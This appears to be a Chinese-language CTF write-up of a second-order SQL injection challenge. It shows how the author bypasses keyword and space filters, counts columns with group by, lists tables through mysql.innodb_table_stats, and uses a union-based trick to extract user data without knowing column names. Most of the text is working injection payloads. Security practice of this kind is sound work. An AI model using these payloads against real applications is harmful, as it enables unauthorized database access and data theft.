写在前面:这道题练习的是无列名注入,一步一步进行构造即可
1、通过测试(这个要自己找,不断的测试),广告名有sql二次注入(存入特殊广告名,查询的时候会报错)
2、闭合语句
因为过滤 --
#
or
空格
,尝试去闭合语句,构造语句
'/**/||/**/'1'='1
3、尝试联合注入,先要找到多少列
1、#order by 中的or被过滤了,因此不能用
2、'/**/group/**/by/**/22,' #group by根据一个或多个列对结果集进行分组
'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,1 7,18,19,20,21,22'
4、进行无列名注入
因为information_schema中的or被过滤
- 列表名
利用mysql.innodb_index_stats
或者mysql.innodb_table_stats
'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)from/**/my sql.innodb_table_stats/**/where/**/table_schema=database()),4,5,6,7,8,9,1 0,11,12,13,14,15,16,17,18,19,20,21,22'
- 构建虚拟表
select 1, 2, 3 union select * from users
- 取别名
select group_concat(a) from (select 1,2 as a, 3 union select * from users)b
完整的payload
'/**/union/**/select/**/1,2,(select/**/group_concat(c)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)b),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'